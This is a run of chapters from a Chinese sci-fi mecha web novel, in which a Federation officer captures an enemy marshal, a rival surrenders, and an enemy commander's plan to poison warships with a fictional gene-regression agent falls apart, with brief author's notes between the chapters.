机甲频道里响起了李珂的声音：“裴少将，段少将和他的人来帮我们了，我们这边局势已经控制住，您无需惦记。” 裴简珩心里微微一松，他将目光移向正向自己冲来的黑红色机甲，唇边逸出一丝冷笑。 该算账了。 他一拳就夯在了黑红机甲的头部，奥克斯·奴瓦辛戈躲避不及，硬是吃了这一拳，机甲内部开始滴滴滴地发出警报：“警报！警报！机甲防御低至10%！” 奥克斯·奴瓦辛戈咬牙，他吐出了一口血，糊在了机甲头盔透明处右下角的一小块。 在这一瞬间，他越发后悔，当年就应该直接把这个实验体379扔进垃圾池溶解的渣都不剩！ 虽然他是最成功的基因改造战士，他的各项指标都远远高于现在这些德瓦基因改造战士，并且他还能保留自主思维，是最理想的一个范例……但他不属于德瓦帝国！也不属于自己! 这么成功的一个基因改造战士，逃回了联邦，又被联邦重用反过来对付自己……妈的！他做了这么多，铺了无数的资源和人力进去，最后竟然是为了联邦做嫁衣！ 一思及此，奥克斯·奴瓦辛戈差点又一口血吐出来，他的面容也越发的阴郁病态，本就颜色浅淡的眼瞳甚至要变成纯白色。 奥克斯·奴瓦辛戈勉强躲开了裴简珩的又一次攻击，拉开了和他的距离，此时此刻，在玛特-Z1的高空之中，黑红色机甲和银白色机甲互相对峙，场面一触即发！ 三秒过后，两具机甲同时动了！ 裴简珩把机甲的所有指标都调到了最高，没有任何生物能承载起机甲的最高指标，除了他。 哪怕奥克斯·奴瓦辛戈驾驶的是德瓦重型机甲，是裴简珩机甲的1.5倍，面对最高模式的联邦顶级机甲和超S级Alpha战士，也毫无还手之力！ 裴简珩操纵机甲，双腿环上了黑红色机甲的脖颈，用力将他从高空压往地面！ 而在此过程中，裴简珩一手抓住了奥克斯·奴瓦辛戈机甲的呼吸供给舱，硬生生将调节空气的设备抓出来捏成粉碎，另一手开启机甲相位光炮轰掉了奥克斯·奴瓦辛戈机甲的相位武器装备舱！ 奥克斯·奴瓦辛戈就像是被斩断了双臂一般，除了被银白色机甲压在头上狠狠坠入地面，毫无任何反击之力！ 只是顷刻之间，胜负已分！ 地面尚未完全枯萎的森林之处被黑红色机甲砸出一个大坑，尘土飞扬，在灰尘散去之后，所有人都看到这位德瓦大元帅就这么跌入地面的大坑之中，而银白色机甲立于其上，相位炮对准了他的胸口，只要裴简珩眼睛一眨，他就会立刻灰飞烟灭！ 直到此刻，奥克斯·奴瓦辛戈还笑得出来。 “哈哈哈……哈哈哈哈哈！” “实验品379……你不愧是我最成功的实验品！哈哈哈哈！” 奥克斯·奴瓦辛戈仰面看着高空中的那二十几具联邦机甲，笑得前仰后合，一点都没意识到他此刻有多么疯魔。 裴简珩居高临下地看着他，他把自己的头盔隐去了，让这位他苦痛过往的始作俑者能清晰地看到他那张脸，在溃败之时牢牢地刻在骨血里。 灰黑色的机甲缓缓降落到裴简珩身边，段洄也隐去了头盔，低声道：“裴简珩，你得杀了他。这里只有你和我的人，不会有人说出去的，你相信我。” 裴简珩似乎听到了他的话，又似乎没有听到，他只是垂眼盯着奥克斯·奴瓦辛戈那张漆黑的面容和发白的眼瞳，没有任何反应。 裴简珩如果现在杀掉他，就像是踩死一只蚂蚁一般轻易，让这位筹谋半生的德瓦帝国大元帅，最终死在自己最成功的实验品手里，算不算莫大的讽刺？ 他是德瓦帝国的大元帅，如果他死了，德瓦哨兵——或者说至少哨兵1军和3军都会崩盘，目前哨兵1军和哨兵3军主要分布于东翼战场，这样联邦第二军团的压力会大大减轻！ 毕竟毁在他手里的人，太多太多了。 除了裴简珩，还有贺朝、曾经1215和联邦先锋突击队那个小队的所有队员……还有闻铮。 就在这里，这么轻易地让他死去了吗？ 更何况，在场还有一个段洄。 方才在战斗过程中，如果杀了奥克斯·奴瓦辛戈，那是绝对正当，谁都挑不出任何问题。 但现在，奥克斯·奴瓦辛戈已经失去了所有战斗力，如果裴简珩真的趁此机会杀了他，段洄……可不是省油的灯。 联邦规定，在敌方放弃抵抗之后，不得在占据优势的前提下进行生命伤亡。 如果他真的听从段洄的诱劝动了手，掌握着这个这个秘密的段洄，会做出怎样的要挟？ 在垂眼的这一分钟内，裴简珩已经将所有考量在心里想过了一轮，最终还是轻轻叹了口气。 裴简珩淡淡道：“奥克斯·奴瓦辛戈，你作为星际战犯被联邦星际军部1215情报处逮捕，押送回联邦军部进行军事审判。” 段洄一怔，他还没来得及说什么，就看见裴简珩俯身下去，在奥克斯·奴瓦辛戈耳边说了什么—— 作者有话说：感谢34402499、苏怿清的营养液！ 掉落小裴同款机甲模型x1！ …… 大家都好沉默哦，感觉看的人越来越少了，呜呜。 感谢还在的宝贝，爱你们！！！ 第165章 好自为之 这里可供呼吸的氧气越来越少, 裴简珩的机甲还有生命维持系统，奥克斯·奴瓦辛戈的生命维持设备已经被他扯掉扔了，现在呼吸已经开始不畅。 他的说话声都有些断断续续, 但仍然在试图挑衅：“实验品……379……, 你……你甚至不敢杀我……哈哈哈哈！” 裴简珩低头在他耳边一字一顿道：“你以为我不想杀了你吗？十六年前你在7号星外毁了破晓号，闻铮的父母因你而死, 他的人生从此天翻地覆，这种恨, 我当然要把你留给他！” 结果，大大出乎他的意料, 奥克斯·奴瓦辛戈却嗬嗬地笑了起来，他的嘴边还在往外流血, 显然是被裴简珩打的内脏都伤了：“愚蠢……十六年前……我根本不在……洛河星系！” 裴简珩猛地瞳孔紧缩！ 他一把抓住了奥克斯·奴瓦辛戈的脖颈, 把他用力地拉向自己, 他身上的黑红巨型机甲那么沉, 裴简珩盛怒之下甚至都把机甲拽离了地面：“你说什么？！” 奥克斯·奴瓦辛戈朝他咧开嘴, 紫黑色的血流了满嘴，让他看起来十分可怖：“我说……十六年前, 我留守帝国，从来没……去到过你们洛河星系！” 裴简珩眉头紧皱, 死死盯着他那双几近白色的眼睛，一字一顿：“撒谎。” 奥克斯·奴瓦辛戈下意识地急促呼吸获取氧气，从唇齿间漏出一句话：“我是……德瓦帝国大元帅……从不屑于……撒、撒谎……！” 裴简珩缓缓松开了他的脖颈，黑色的皮肤上甚至留下了裴简珩的手印。 他默不作声地伫立了半晌，眼见着奥克斯·奴瓦辛戈的呼吸越来越微弱，脸色都开始因窒息黑到发红，这才对李珂微一点头, 示意他们把奥克斯·奴瓦辛戈带走。 李珂看他的脸色十分不好，也不知道发生了什么，赶紧听长官的话干活。 这时，通讯频道里响起了佩珀少校的声音：“能听到吗，裴少校？” 通讯清晰度强了不少，信号突然稳定了一些。 “冰晶风暴进入了短暂的谷期，现在信号比较稳定，预计持续3分钟，请立刻做好相位穿梭准备！” 裴简珩压下了心头的惊疑，沉声道：“1215所有人做好相位穿梭准备，把德瓦战俘都带回去。” 他微微侧脸看向段洄，语调很平静：“段洄，你好自为之。” 段洄站在离他不远的地方，沉默地凝视着裴简珩那张俊美的脸。 半晌，他才缓缓道：“你为什么不杀了奥克斯·奴瓦辛戈？” 裴简珩瞥了一眼正把德瓦哨兵大元帅从机甲里薅出来押着相位穿梭的李珂和莉莉丝，唇边闪过稍纵即逝的冷笑：“德瓦人、尤其是德瓦哨兵，最看重的就是荣誉。他们会为了个人和种族的荣誉毫不犹豫地去死，但如果尊严和荣誉受辱，他们只会生不如死。” 对奥克斯·奴瓦辛戈这样的人来说，死当然不可怕，甚至死在战场上，死在联邦将官级军官的手里，对他来说还是莫大的荣耀，保不准还会在德瓦帝国的历史中被记上光辉灿烂的一笔。 但如果他成了活生生被擒的战犯，在联邦公开的军事法庭上受审，那就完全不一样了。 奥克斯·奴瓦辛戈杀了那么多人，直接或间接死在他手里的种族和生命何止千万！ 想身披着荣誉死去，做梦！ 段洄明白了裴简珩的言外之意，沉默几秒后又慢慢地问：“那你为什么不把我抓回军部？” 裴简珩道：“我现在没空搭理你。” 段洄：“……？” 裴简珩有自己的任务要完成，是关乎着整个联邦命运的任务，在这个任务面前，一个联邦的军事逃犯，确实是无足轻重了，他总不能为了把段洄押回联邦而耽误任务的时间。 况且’Annihilation’已经在自己手里了，段洄还能翻出什么天来？ 以及…… 耳麦里传来了佩珀少校的声音，提醒裴简珩十秒后他就会被进行相位穿梭，裴简珩最后看了一眼段洄，段洄的脸色苍白到毫无血色，在这瞬间他想到了艾德莱斯曾经和他说过沈河的事迹，那位曾经守了西线十个月、铮铮铁骨壮烈牺牲的Beta战士，是整个联邦军部的英雄之一。 “我给你三分钟，段洄，在你刚刚出现的时候我已经告知了联邦军部，他们还有三分钟就会到达玛特-Z1。”裴简珩淡淡道，“这第二次机会不是因为你，也不是因为段和华，而是为了沈河少将。” 裴简珩最后又重复了一遍：“……好自为之。” 话音未落，他消失在了段洄面前。 刚刚还打得热闹的这里，现在只剩下了段洄和他的私兵。 一个私兵靠近了段洄，低声问：“段少将，这里的氧气会在三分钟之内耗尽，我们现在是否相位穿梭回星舰上？” 段洄垂下眼，笑了笑。 裴简珩啊裴简珩…… 如果裴简珩没有提到沈河，他可能也不会做出这样的选择。但就是这个名字，让段洄眼底一酸，那一瞬间几乎落下泪来。 不是因为这第二次机会，而是因为，除了他们段家，仍然还有人记得沈河的名字，也记得他曾经为联邦牺牲的一切。 裴简珩，我没有看错你。 但……我们要做的事，事到如今，我改变不了，你也改变不了。 “所有人，立刻相位穿梭回星舰，然后掩盖痕迹离开。” 现在通讯信号还算合适，段家的私家星舰把这些私兵一个个相位穿梭回了星舰上。 “万斯，”段洄点名了私家星舰上的大副，“你现在是舰长，带着所有人离开。” 万斯的声音在通讯里有些惊慌：“段少将！那您——” “裴简珩都已经给了我第二次机会，我总要珍惜的吧。” 段洄笑了笑，那双棕色的眼底有了几分真切的笑意：“不然，我还对得起我父亲，联邦五星烈士，沈河少将吗？” 他看着正在从冰晶风暴带中穿梭而来的银色机甲群，按下按钮收回了黑灰色的机甲，迎着联邦军部的缉拿队，缓缓举起了双手。 …… 等到众人回到了凌风号上后，佩珀少校看到裴简珩后松了一口气，刚刚有一段时间信号极差，留在凌风号上的人都根本不知道下面发生了什么，再加上有一艘身份不明的联邦星舰和德瓦战舰疾驰而过，实在是让他们担心的要死。 但，去了八个人，只回来了六个。 佩珀少校张了张口，裴简珩轻声道：“亚伦中尉在和德瓦元帅奥克斯·奴瓦辛戈的对战中牺牲。” 悉数沉默。 半晌，以裴简珩为首，所有人都敬了联邦军礼，维持了三分钟。 裴简珩扫过眼眶微红的战友们，轻声叹息：“我们还有更重要的任务要完成，这关系着联邦无数人的生命，这也是亚伦中尉为之奋斗和牺牲的事业，我们要替他做到。” 莉莉丝抹了抹眼角的泪，阿诺也用力点头。 佩珀少校深吸一口气，又问：“那怀特中校……？” ……咦？ 阿诺上尉好像突然意识到了什么——对了，怀特呢？！ 好像自从段洄和奥克斯·奴瓦辛戈出现以后，这位平时就存在感极低的纽瑟人，好像就……不见了踪影？ 裴简珩微微侧头：“怀特，你那边好了吗？” “好了，裴少校，可以进行相位穿梭。” 怀特冷静的声音传来，让其他不明所以的人倒是松了口气。 裴简珩对佩珀少校微一点头：“佩珀少校，麻烦你定位到怀特的坐标，把他相位穿梭回来。” 佩珀少校一愣：“……好的。” 这也是纽瑟人的能力之一，不只是他们本体可以随心隐形，如果他们开启和机甲80%的融合程度，机甲也可以隐形，并且坐标在所有扫描仪器上都不可见！ 所以刚刚佩珀少校才漏掉了他，还以为他也…… 三秒钟后，相位穿梭完成，眼前却仍然空无一人。 裴简珩：“……取消你的隐形。” “哦哦，不好意思，忘记了。”话音刚落，怀特就出现在了他们面前，让所有人都松了口气。 裴简珩对他挑了挑眉。 怀特沉声汇报：“联邦军部的缉拿队已经到达，段少将让手下私兵都先行离开，自己主动投降自首了。” 这是他们刚到达那一片生命之地时，裴简珩留的后手。 他确实没有听清佩珀少校的全部通讯内容，但依稀听到了有联邦星舰出现的只言片语，他猜到了可能是段洄。 所以他让怀特一直处于隐形状态，如果段洄在他给的那三分钟之内选择偷袭想要再把’Annihilation’抢回去，怀特会直接将他击晕，甚至如有万一，奉令直接击杀！ 只是裴简珩没有想到，段洄不但没有试图把’Annihilation’抢回去，甚至还主动投降自首。 ……还不算无可救药。 起码在这个时刻，裴简珩脑中划过了这么一丝想法。 这时，佩珀少校倏地皱紧了眉，看向了主屏幕，低声道：“……裴少校。” 裴简珩收回思绪，看了过去，在距离他们不远处，有一艘德瓦战舰正在解除隐形，慢慢地显露在他们面前！ 裴简珩神色一凛：“李珂，防护罩开启100%！” 只是他们的防护罩刚刚开启，就看见那艘德瓦战舰倏地火光四起！ 第166章 终于、终于！ 李珂一边操作战术台, 一边急急报告：“裴少将，防护罩受到冲击，下降15%！” 裴简珩沉稳道：“退后至安全距离。莉莉丝上尉, 放大德瓦战舰画面。” 莉莉丝上尉还兼顾着领航员的职责, 连忙把正在爆炸之中的德瓦战舰放大到了主屏幕上，裴简珩眯了眯眼, 右手在悬浮屏上点了几下，随后缓缓道：“……他们启动了自毁装置。” 奥克斯·奴瓦辛戈被他们俘虏, 现在已经关到了凌风号的监禁室，估计是这艘德瓦战舰留守的人没有得到他们元刷阁下的消息, 直接进行了自毁，以免被联邦夺舰！ 裴简珩脸色微沉, 如果抢不到这艘德瓦战舰, 他们总不能直接开着凌风号大摇大摆地前往德瓦母星, 风险太高了。 而且现在凌风号上还有一个俘虏的德瓦帝国大元帅, 要带着他继续执行任务吗？这也太冒险了。 裴简珩思忖许久, 对阿诺上尉吩咐：“麻烦帮我对接联邦军部总部，终端接入我的舱室, 一分钟后我会到达并且接入。” “莉莉丝上尉，设定航线前往边境, 先在中立区暂留，等待后续指示。” 阿诺上尉和莉莉丝上尉颔首领命，裴简珩从凌风号的小型舰桥匆匆赶往自己的舱房。 一分钟后，艾德莱斯的全息投影出现在了舱室之中。 艾德莱斯在看到自己全须全尾的小儿子之后松了口气，每一次凌风号发来紧急通讯请求的时候，他都做好了是来传达牺牲讯息的准备。 在战争之中，作为战士军官的父母, 总是要提心吊胆，怕没消息，又怕有消息。 裴简珩也不浪费艾德莱斯的时间，言简意赅：“我们拿到了’Annihilation’，也抓住了奥克斯·奴瓦辛戈。” 艾德莱斯：“……？” 艾德莱斯：“？！” 他瞪大了眼睛：“你说什么？！真的？！” 裴简珩双手拉开悬浮屏，上面是禁闭室的实时电子眼画面，奥克斯·奴瓦辛戈正被困于其中，站起来都费劲。 艾德莱斯深吸一口气，十分稀少地喜色溢于言表：“好……好！太好了！这样一来，东翼战场压力会大大减轻！” 他看向裴简珩，眼神温和又骄傲：“做得很好，简珩，我为你骄傲。” 裴简珩也微微笑了一下：“我接到的任务是拿到’Annihilation’后前往德瓦母星，时间紧迫，想跟您请示一下，这位大元帅怎么处置？” 艾德莱斯沉吟：“你考量的是对的，不可能把他再带回德瓦母星，一旦有什么意外，兵荒马乱之际，很有可能放虎归山。” 他没有纠结太久，三秒都没有就下了决定：“你把坐标给我，我会派人秘密与你在前往边境的半途之中接洽，把奥克斯·奴瓦辛戈带回联邦军部，作为我们的谈判筹码。” “明白。”裴简珩颔首，“还有一个问题需要和您请示，五星上将。” “我计划先用凌风号到达中立区，换成魁斗星舰再前往德瓦母星，这样风险小一些。” 艾德莱斯批准了。 “此外，为了能减少潜入德瓦母星的风险，我不得不再向您要一个人，希望您能让我转达给悬空号。” 艾德莱斯一怔：“你要悬空号上的人？谁？” 裴简珩道：“茱莉。” 艾德莱斯皱眉，但见裴简珩没有解释的意思，他知道自己的小儿子也不会乱来，就也同意了，至于这个转达请求…… “……完毕。” 裴简珩最后敬了一个下级给上级的军礼，结束了这场汇报和请示。 艾德莱斯缓缓叹了口气，轻声道：“保重，阿珩。” 这句爱称一出，裴简珩的面色也缓和下来，显然明白现在已经进入了私人模式，他们也从上级和下级变回了父子家人。 “您也是，父亲。” 半晌，裴简珩才小心翼翼地问：“闻哥那边——？” 艾德莱斯摇了摇头：“这是机密，我不能泄露给你。” 裴简珩当然清楚，但他问这句也不是为了得到艾德莱斯的回答，从自己父亲的表情和神态中，他能大概猜到，应该没出什么大事。 裴简珩那颗心才缓缓地暂时放了下去。 他不自觉地摸了摸军装袖子的袖扣，是联邦的军徽样式。那是他离开之前从闻铮的军装上卸下来的，寄希望于这上面残留的Omega信息素，可以让他稍微平息一下身体内翻涌的思念和不安。 艾德莱斯没再说什么，关闭了全息投影。 舱室里只剩下了裴简珩一个人。 他攥紧了那颗袖扣，半晌又反手摸上了自己的后颈。 那天晚上不止他最终标记了闻铮，闻铮也狠狠咬在了他的腺|体上，他没有信息素可以注入，只能注入自己的爱、信任、依赖和眼泪。 在完成了最终标记以后，他终于没有那么患得患失，心里也被安全感填了浅浅一层，但其他的空缺，只有等再次重逢之时，才能完全地被对方缝补。 他来来回回摩挲着还没有完全消退的，属于闻铮的牙印，心里酸涩又担心。 闻哥，你那边……现在还好吗。 你还好吗？ …… 洛河星系，7号星外 德瓦指挥战舰上，德瓦通讯官从通讯系统中得到了某个信息，喜悦之色溢于言表，连忙走到大副身边，和他汇报了什么。 德瓦大副颔首，转而恭敬地对舰长席上的人汇报：“幕僚长大人，36艘战舰已经带着最终的基因退化物质返回，预计十分钟后会到达！” 覆面人听到以后，缓缓站了起来。 为了这一刻，他筹谋了太久，失去了太多，终于、终于！ 大副低声问道：“幕僚长大人，我们接下来——？” “等。” 覆面人的声音甚至因为兴奋而带上了几不可闻的颤抖：“……等联邦第三军团的军队正式抵达后，我们立刻开战！” 他们研究过闻铮曾经的作战经历和策略类型，这位冉冉升起的联邦之星——当然，现在已经是过去式了——最经常用的一种模式，就是让悬空号打头阵，率先抵达战场吸引火力，随后第三军团的其余主力军抵达，包抄战场。 所以他才会做出这样的安排。 基因退化物质当然要用在刀刃上，联邦第三军团是联邦最强悍的军队，同时也是最精英的人类所汇集之地。他们要想把这些精英悉数歼灭，几乎不可能一蹴而就，但如果是将基因退化物质渗透进他们的星舰之中呢？ 这些物质已经被他们装载进了数万个隐形的小型喷射器中，马上就会在太空中伺机而动。在德瓦哨兵率先开火的情况下，第三军团战舰一定会反击，在反击之时，所有星舰的武器舱都必定会开启！ 多亏了奥克斯·奴瓦辛戈这位大元帅此前拦截了逐星号，他们已经破解了联邦标准制式战舰的底层设计逻辑——武器舱和氧气舱之间有一个极度不起眼的气阀，只要物质的颗粒度足够小，理论上、并且他们也秘密试验过无数次，这些物质可以借由发射武器的时机被反向虹吸入联邦战舰的武器舱，进一步渗透进氧气舱！ 而氧气舱供给了全舰的呼吸来源，这种物质的结构足够小，除了悬空号这种联邦最先进的巨型战舰以外，没有任何其他战舰能扫描出来。 只要人类呼吸到了掺杂着这种物质的氧气…… 覆面人蓦地攥紧了拳。 洛河星系这一战是赢是输都不重要，更伟大的复兴，即将到来！ 而另一边…… 他朝大副侧了侧头：“哨兵1军和3军那边怎么样了？” “根据最新的共享情报，联邦第二军团还在和哨兵1军和3军进行对打，目前联邦略占上风。” 覆面人顿住，语调冷了下来:“废物，打不过闻铮就算了，连瑞德那个莱克尔人都打的这么费劲！” 德瓦大副看了看最新的情报，面上划过一丝惊异，环视一圈，走近覆面人低声道：“我看到机密线路的情报，说元帅阁下接到一份情报后就带人匆匆离开了，到现在都还没有消息，也没有回到东翼战场。” 覆面人眉头猛地皱得死紧，只是被覆面挡着外人看不到：“什么？去了哪里？！” 德瓦大副面露难色地摇了摇头，示意他也不知道， 覆面人右手拇指和食指捏紧，眼神幽深。 他了解奥克斯·奴瓦辛戈，如果不是十万火急的事情，他不会贸然离开战场！ 这位和自己又近又远的帝国元帅，对荣誉的看重高于所有人，绝不会临阵脱逃！ 甚至，他的心血——那些基因改造战士都还在东翼，他怎么会突然离开？到底有什么重要的事，会比基因改造战士的首战更重要？！ 他心头思绪千回百转，他的大副为他递上了一杯提神的血酒，他一边思忖着一边接过那个由艾尼默人头骨作为主材料制成的血酒杯，却在某个瞬间恍若福至心灵，甚至手上力气都是一抖，甚至血酒杯都从他手中滑落，跌落在舰桥上，粉身碎骨。 他突然想到，他和奥克斯·奴瓦辛戈平时根本不会联系，上一次联系，还是他主动示好，知道这位元帅阁下在鼓捣智能融合体，把戈维·斯坦利的意志提取物给了过去，试图作为在关键时刻制衡闻铮的一枚筹码。 只是没想到，一场UNK-322的奇袭，一切都落空了！ 但在那之后，奥克斯·奴瓦辛戈又主动地来找过他一次。 他破天荒地踏足了自己的府邸，脸色阴沉地告诉他，联邦或许掌握了一个足以毁灭一切的武器。 第167章 36艘战舰 他一开始并没有当回事, 只是随口问了一句：“你的情报是从哪里跟来的？” 奥克斯·奴瓦辛戈也没有藏着掖着，缓缓道：“联邦军部有一个机密情报组织，1215, 你此前听说过吗？” 听到1215这个名号, 他才重视了起来。 他怎么会不知道？ 1215是联邦军部隐于暗处的一把枪，据说是以联邦成立的日子来命名的, 据传，现任的五星上将艾德莱斯, 就兼任了1215上一任的一把手。 联邦军部有自己的情报网，德瓦帝国当然也有。 他们的情报前些年传了回来, 说是艾德莱斯已经从1215卸任，现在的负责人是两个年轻军官, 只是身份一直没有挖到。 奥克斯·奴瓦辛戈说：“……现任1215的二把手, 就是那个在7号星挑起争端的段洄。” 段洄。 覆面人微微眯了眯眼。 原来如此, 那一切都说通了。 他此前还在迷惑, 段家的人不在首都星呼风唤雨, 跑来7号星折腾一圈干什么？段洄这个人也不是省油的灯，到了7号星也就一个多月的时间, 把时任的星长班子斗倒了，把警部局长斗倒了, 在新规的铺垫下把军、警、政都归拢到了自己手里。 他有这种手段，在首都星大展拳脚不是获益更高吗？ 却跑到这么个偏远的、荒凉的、落后的星球上来，偏偏还是他们正在筹谋的地方！ 他早就怀疑这一切都不是巧合，但总是觉得逻辑链中少了些什么——现在一切都严丝合缝了。 1215必定是察觉到了7号星上有什么异动，恰好段家也是联邦的主战派，他们觉得可以加以利用，才会把段洄派过去搅弄风云, 挑起战争。 可挑起战争之后呢？ 联邦怎么确定他们一定会打败德瓦帝国获得胜利？ 这根本讲不通！ 除非……他们手里真的有什么东西…… 覆面人把目光转向年轻的德瓦哨兵元帅，缓缓问：“你刚刚说，毁灭一切的武器，是什么？” 奥克斯·奴瓦辛戈却摇了摇头：“具体细节我们的人也没有查到，但这个东西绝对毁灭力惊人，否则联邦，或者说段家，绝对不可能冒着叛国罪风险，如此胜券在握地挑起战争。” “嗯，”覆面人沉吟片刻，他带着手套的手在书桌上点了点，“所以元帅阁下今天来，是要来找我合作的吗？” “帝国的荣誉高于一切。” 奥克斯·奴瓦辛戈淡色的眼底闪烁着疯狂的光：“我知道你在鼓捣什么，你也知道我在实验什么，我们固然方式不同，但目的都只有一个——” “一切为了更伟大的复兴！” “一切为了更伟大的复兴！” 两人异口同声，在说出这句话的同时，互相行了一个德瓦哨兵最高礼仪的军礼。 沉默过后，奥克斯·奴瓦辛戈才道：“我会派人持续追查这种武器，如果有任何线索，我会直接带人前往毁灭，如果不能毁灭，也必要夺到我们手里！” 覆面人颔首：“届时，我会替你接应局面。” 两人又对着锤了两次左胸口，算是签订了合作盟誓。 在临走之际，奥克斯·奴瓦辛戈瞥见了覆面人在覆面之下那双深色的眼睛，以及他在行礼时，手套末端露出的苍白皮肤。 “后悔吗？” “失去了德瓦人的外貌和基因，变成了人类披着虚假的皮和身份蝇营狗苟了数十年，后悔吗？” 奥克斯·奴瓦辛戈凝视着覆面人的眼睛，一字一句。 “悔这种情感，不存在于我斯坦科夫家族的骨血里，我为了帝国奉上了一切，从我的身体到我的灵魂。”覆面人回望着他，他的声音沧桑又冷峻，“同样，这种情感也不存在于你的身体里，毕竟，你也是斯坦科夫家族的人。” “不是吗，儿子？” …… 舰桥上，随着覆面人手里的骨杯跌落粉碎，所有舰桥军官都下意识地看了过来，随后又畏惧地移开目光，显然知道，不管这位帝国的幕僚长大人是因为何事失态，都不是他们这些人有资格知道的。 而他身边的德瓦大副，见到一向从容沉稳的幕僚长露出此种神色，也是万分诧异，连忙上前一步急急道：“幕僚长大人！您这是——” 覆面人抬手制止了他，不知为何，在这个瞬间，他的心头出现一丝针扎一般的痛，稍纵即逝，却让他有一瞬间的晕眩，扶了一把大副才站稳。 似乎是为了隐藏不知从何而起的心慌，他厉声责问：“36艘战舰怎么还没到！” 德瓦通讯官神色一凛，立正报告：“报告幕僚长大人！载满基因退化物质的36艘战舰已经依次抵达，等您命令！” 覆面人好像这才喘过一口气来。 这次还没等他问，战术官就先行汇报以免挨骂：“报告幕僚长大人！空间雷达图扫描到空间迁跃信号和频率，第三军团主力军预测将于十秒后到达！” “十、九——” “——三、二、一！” 随着倒数，在德瓦战术官尾音还未消散的时候，7号星外原本黑压压的德瓦战舰群之外，倏地出现了一艘艘的银白色联邦战舰，而在这些战舰的舰身上，都刻有联邦的标志和第三军团的军徽！ 放眼看去，银白色铺天盖地，和德瓦战舰数量旗鼓相当！ 覆面人朝舰桥主屏幕走近了几步，凝视着那片银白，缓缓道：“开火。” 随着他一声令下，几千艘德瓦战舰瞬间锁定了联邦第三军团战舰，光子鱼雷、相位炮……种种热武器如同烟火一般点燃了7号星外的太空！ 最后的热战，由此拉开帷幕！ …… 第三军团的战舰群当然也不会坐以待毙，他们在打开防御系统的同时也在回以反击，各种强大的武器打得你来我往，每一分钟都有不同阵营的战舰陨落消亡，在浩渺宇宙中只留下一片宛如一粒沙般的残骸，即使那上面曾经承载了几百条战士的生命。 战况一度陷入焦灼，德瓦帝国和联邦互相实力都没有到碾压对方程度，互相都打的你来我往，现在的局面陷入僵局，除了某一方的阵势被打破，很难在短期内分出胜负。 但对德瓦帝国幕僚长来说，悬空号已毁，闻铮已死，第三军团其他人都不足为惧，胜利只是时间问题，更别提，他的目的是基因退化。 哪怕这仗输了，哪怕他们被迫退出南部战场、退出洛河星系，又能怎样呢？ 东翼还在打，大批量的基因退化物质还在陆续合成中，如果万一，基因战士打不赢东翼战场，那么基因退化物质就会也投放给第二军团！ 那更好了，说到最后，还是他们这一派的胜利。 覆面人微眯双眼：“基因退化物质准备，立刻锁定联邦第三军团战舰武器舱进行反向渗透。” “是！” 德瓦战术官领命，立刻联系那承载着基因退化物质的36艘德瓦战舰，下达了总控命令。 不多时，36艘战舰为首的总舰发来了通讯，申请整体迁往德瓦军队的南面，那里距离第三军团舰群的距离更近，更适合进行反向虹吸与渗透。 覆面人思忖了一会儿，看了看目前的战力分布图，7号星在他们的西侧，不需要考虑；洛河星系护卫军在他们的北侧，兵力不算多，就算和出现在他们东侧的第三军团舰群打配合，可能是有点难办，但也尚且不足为惧。 他们在和第三军团舰□□锋的过程中，不可能把第一线留给这36艘战舰，否则你来我往的武器，极大可能波及那些小型喷射器，反而得不偿失，这么一看，南面确实是最合适的地方。 在得到了总指挥认可之后，那36艘德瓦战舰在其他德瓦战舰的避让和保护之中，隐秘地迁往了战场的南侧。 覆面人强硬地让前线的德瓦战舰们硬抗和联邦第三军团舰群的交火，让36艘战舰立刻释放小型喷射器！ 德瓦战术官立刻下达命令，只是刚刚还实时回复通讯的总舰，却久久未曾回应！ 德瓦战术官心下一空，他慌张地朝德瓦通讯官望去，在通讯官黝黑的脸色也看到了如出一辙的惊骇！ 那36艘满载着基因退化物质、是他们此次战争最大目的的德瓦战舰，就这么突然失联了！！ 战术官咽了一口唾沫，心惊胆战地小跑两步和大副报告，大副拧紧了眉毛，回手一拳就砸在了战术官的脸上，大骂：“废物！” 覆面人闻声看来，他不知为何，左眼皮从刚才开始就一直在跳：“什么事？” 这次换德瓦大副咽了咽口水，低声道：“报告幕僚长大人，那36艘战舰……失、失联了……” 覆面人一拳砸在了主控台上，险些把主控台砸出一个凹陷！ “什么叫失联？！”他怒声质问，“是被联邦截获了还是被击毁了？！” 大副摇头：“雷达图中没有扫描到击毁信号，还在南边的坐标上，没有任何移动，但就是……通讯联系不上。” 通讯官站在后面，小声道：“信号没有问题，是他们……故意没有应答。” 覆面人的呼吸粗重到隔着覆面都能被他们听到，所有人的心里都有些打颤。 这时，通讯台上突然响起了滴滴滴的声音！ 德瓦通讯官如蒙大赦地扑过去，却在看清了通讯来源和通讯内容后禁不住倒退一步，满脸惊骇！ 覆面人眼神似刀横了过去，通讯官颤巍巍地道：“南、南部战舰发来紧急通讯，那36艘、36艘战舰正将武器锁定了我们自己的战舰！！”—— 作者有话说：嘿嘿 马上进入剧情高峰！反转都在路上！ 第168章 居然是你 “你说什么？！” 覆面人神色冷峻, 他一把推开了通讯官，自己冲到了通讯台前，发给36艘战舰的通讯还没有得到回复, 而位于南面的其他德瓦战舰却先后发来了通讯——他们已经被36艘德瓦战舰锁定了！ 他一拳锤在了通讯台上：“开启特殊扫描模式, 小型喷射器到底有没有被发射出去？！” 德瓦战术官也是满脸大汗，他快速地在仪表盘上点了几下, 冷汗涔涔而下：“扫、扫描完成，没有发现……小型喷射器的踪影……” 舰桥寂静无声。 只有覆面人粗重的呼吸声。 不对…… 不对…… 这不对！！！！ 是哪里出了问题？！ 到底是哪里出了问题？！ 那36艘战舰、承载着他这么多年夙愿和牺牲的东西—— 南面的德瓦战舰也是骑虎难下, 真论数量和战力，他们是那36艘战舰的十倍, 但谁敢动它们？！ 那上面的东西太珍贵太关键了，没有幕僚长的明确指令, 他们只能咬牙开着防护罩硬抗, 根本不敢回手！ 而那36艘德瓦战舰却毫不手软, 甚至更加雷厉风行, 就在这眨眼之间, 已经将德瓦哨兵5军和7军包围圈撕开了一条口子！ 覆面人咬牙，甚至快咬出血来, 但他一时之间竟然也不知道要拿这36艘战舰怎么样。 投鼠忌器啊。 那36艘战舰上承载着现阶段几乎所有的蓟梨草和B-356物质合成的基因退化物质，一旦毁灭战舰, 那些他多少年来的心血，也将随之灰飞烟灭。 但如果不动手回击…… 德瓦大副猛地抬头报告：“幕僚长大人！！这36艘星舰已经逐渐逼近中心了！” 覆面人蓦地双手紧握成拳，用尽了全身的力气才能让自己在这个当口保持冷静。 “……进行非毁灭性攻击，派遣登舰小队伺机夺回星舰指挥权。”他简短道，把滔天的怒火和心底深处的惶惶不安按下，“你，给我联系7号星。” 